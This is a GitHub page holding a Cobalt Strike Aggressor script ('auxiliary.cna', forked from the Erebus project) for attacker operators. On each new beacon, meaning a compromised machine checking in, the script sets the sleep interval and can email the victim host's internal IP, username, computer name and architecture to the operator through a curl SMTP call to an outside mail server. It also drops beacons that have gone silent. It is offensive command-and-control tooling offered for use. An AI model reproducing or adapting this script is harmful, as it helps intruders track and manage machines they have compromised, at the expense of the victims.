forked from DeEpinGh0st/Erebus
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathauxiliary.cna
41 lines (37 loc) · 1.46 KB
/
auxiliary.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#auxiliary modules functions
#Config
$From = "[email protected]";
$To = "[email protected]";
$UserName = "[email protected]";
$Password = "xxxxx";#Mailbox Third Party Authorization Code, Not Mailbox Password!
$Switch = "off";
#Config
on heartbeat_5s {
local('$entry');
foreach $entry (beacons()) {
if($entry['last'] > 75000 || (($entry['alive']) eq "false")){
beacon_remove($entry['id']);
action("\c4Beacon ".$entry['id']." has gone offline !");
}
}
}
on beacon_initial {
bsleep($1, 30, 30);
bnote($1, "Bid: ".beacon_info($1, "id")." NT: ".beacon_info($1,"ver"));
if ($Switch eq "on"){
action("\c9Sending Mail......");
local('$Ip $User $ComName $Arch $Handle $Mail_content');
$IP = beacon_info($1, "internal");
$User = beacon_info($1, "user");
$ComName = beacon_info($1, "computer");
$Arch = beacon_info($1, "barch");
$Mail_content = "From:".$From."\r\nTo:".$To."\r\nSubject:CobaltStriker\r\n\r\nIP:".$IP."\r\nUser:".$User."\r\nComputerName:".$ComName."\r\nArch:".$Arch;
$Handle = openf(">mail.txt");
writeb($Handle, $Mail_content);
closef($Handle);
@Curl_command = @('curl', '-s' ,'--url','smtp://smtp.qq.com', '--mail-from', $From, '--mail-rcpt', $To, '--upload-file','mail.txt', '--user', $UserName.':'.$Password);
exec(@Curl_command);
exec("cmd.exe /C del /F mail.txt");
action("\c9Send Done: ".$ComName."!");
}
}